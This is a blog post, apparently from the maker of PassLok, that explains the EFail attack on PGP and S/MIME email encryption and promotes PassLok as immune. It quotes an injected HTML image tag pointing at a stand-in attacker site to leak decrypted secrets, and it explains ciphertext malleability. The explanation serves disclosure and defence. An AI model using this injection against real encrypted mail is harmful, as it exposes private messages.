PassLok and EFail

This May 14th, a group of German security researchers revealed EFail, a successful attack against PGP (short for Pretty Good Privacy), and S/MIME, the leading methods for end-to-end encrypted email nowadays. You can read their shorter post here, and their full paper here. I’ve contacted a number of people who wrote about it to tell them about PassLok and its immunity to the EFail attack. This post adds more details to what you may shortly found printed elsewhere.

First a summary of how EFail manages to break PGP and its cousin S/MIME when Alice is emailing Bob some secret information. These are the steps involved:

1. Attacker (let’s call him/her/it Mallory) intercepts Alice’s encrypted email to Bob. This simply involves administrator access to any of the nodes that the email is passing through before reaching Bob.
2. Mallory has a knowledge of where in the encrypted email is the secret information, obtained in some other way, perhaps by planting some information that Alice is sure to relay to Bob, and what the plaintext before and after it look like. This allows him to target the parts of the encrypted email immediately before and after the location of the secret information, even though the secret information itself is still unreadable to him.
3. Here’s the crucial part: Mallory adds a string such as ‘<img src=”http://malloryswebsite.gov/’ (without the single quotes) before the encrypted secret info, and another ‘”>’ (again, no single quotes) after, replacing what was originally in the encrypted email. He can do this because PGP is malleable (more on this later) when used in certain modes. he then sends the modified encrypted data to Bob.
4. When Bob decrypts the modified message, the following string is created (without the single quotes): ‘<img src=”http://malloryswebsite.gov/secret information“>’ where the italicized secret information is precisely the secret part of Alice’s email. If Bob’s email client is configured to load and display HTML content, this will prompt the client to send a request to Mallory’s website asking for an image named precisely as the secret information. The picture, obviously, does not exist and nothing will display, but now Mallory has gotten Alice’s secret.

There has been much debate, even this soon after the disclosure of EFail, about all the conditions that have to be met for this trick to succeed:

1. Mallory must be powerful enough to be able to intercept, modify, and pass on Alice’s email. Well, that’s why his website ends in “.gov” isn’t it? I’m sure neither Alice nor Bob feel very comforted by this requirement.
2. Bob must have HTML rendering enabled on his end. Well, who doesn’t these days? Observe that it doesn’t matter whether or not Alice’s original email contained any HTML tags. Mallory can always add them. If the email is sent to multiple recipients, the attack will work if any of them have HTML rendering turned on.
3. Mallory must have good knowledge of where in the encrypted email is the secret info, and of the boilerplate text before and after. This is easier done than said, as history abundantly confirms in cases such as the breaking of Enigma and other “unbreakable” ciphers. He can keep trying with many different Alices until he finds one who is sloppy enough to repeat exactly what he planted through devious means.

To be malleable, in this context, means that an attacker may change the plaintext to something of his/her/its choosing without actually re-encrypting the message. This is possible because many ciphers work by combining the plaintext, encoded as binary data, with a pseudo-random “keystream” generated from the key, by means of a XOR operation, which is a lot like a binary addition. To decrypt, the recipient generates the same keystream from the key and XORs it with the ciphertext, yielding back the binary plaintext. Since the process works a lot like an addition-subtraction sequence, an attacker who knows the plaintext (or parts of it) can increment the resulting ciphertext by carefully chosen amounts so the result after decryption is whatever he wants it to be.

And then, PGP and S/MIME, in order to be backward compatible with some ancient ciphers that used no authentication, allow non-authenticated messages to be decrypted. Here “authentication” refers to additional code, usually called “message digest” or MD for short, that is appended to the encrypted material. The MD is made by hashing the plaintext, usually with the addition of the key itself at some point. After decryption, the authentication code tries to reproduce the same from the just decrypted plaintext and the key. If the result is the same as the MD accompanying the encrypted message, authentication succeeds, otherwise it fails. If Mallory tampered with the encrypted message, the plaintext recovered will be different from the original and the hashing operation will produce a different result. Good hashing has the property that it is very hard to predict what the result will be before the hash is done, and so Mallory will have a hard time coming up with an MD that will be tested as good, since the MD depends both on the material he knows and the material (Alice’s secret message) that he doesn’t know.

But if Bob’s client is happy without an MD attached to the encrypted message, this is Mallory’s lucky day. He only needs to strip it from the original message, if there was one, and Bob’s client will bite the bait. This is the problem with PGP and S/MIME, and it is quite hard to solve because it is built into their respective standards. Those would need to be modified so the methods no longer messages without an MD, and this takes meetings, discussion, disagreements, and a fair amount of time. Meanwhile, Bob has to come up with ways to override the standardized behavior, or move on to something else.

The Electronic Frontier Foundation, along with issuing a warning about the current insecurity of PGP and S/MIME as implemented in a number of clients, advised users to switch to Signal until things are resolved. Now, the problem with Signal and similar messaging programs is that they are not email. They are designed for synchronous communication and so they generate a lot of ephemeral key information that stays current, and vulnerable, until the conversation is closed. They require a centralized server, which might be compromised. They force you to change your login customs, and your address book. They are not designed for handling files and attachments. I think users would rather continue using their email, but after PGP is turned off, how can they secure it?

Well, that’s where PassLok comes in. If you are a Gmail, Yahoo mail, or Outlook online user you can use PassLok for Email (Chrome, Firefox), which integrates with those quite seamlessly. Otherwise, there is PassLok Privacy (web app, Chrome, Firefox, Android), which you can use with anything at the expense of having to do some cut and paste between tabs. PassLok is immune to the EFail attack because it always requires an MD to be verified. It also has a powerful XSS filter that removes many tricks that might have been inserted before the plaintext is sent to display.

And then, PassLok is infinitely easier to use, because its public keys are so much shorter. It also can generate self-destruct messages (Signal’s much touted “exclusive” ability), plus encrypt undetectably into images or normal-looking text. It is also free, so why not give it a try? You’ve got the links right above this.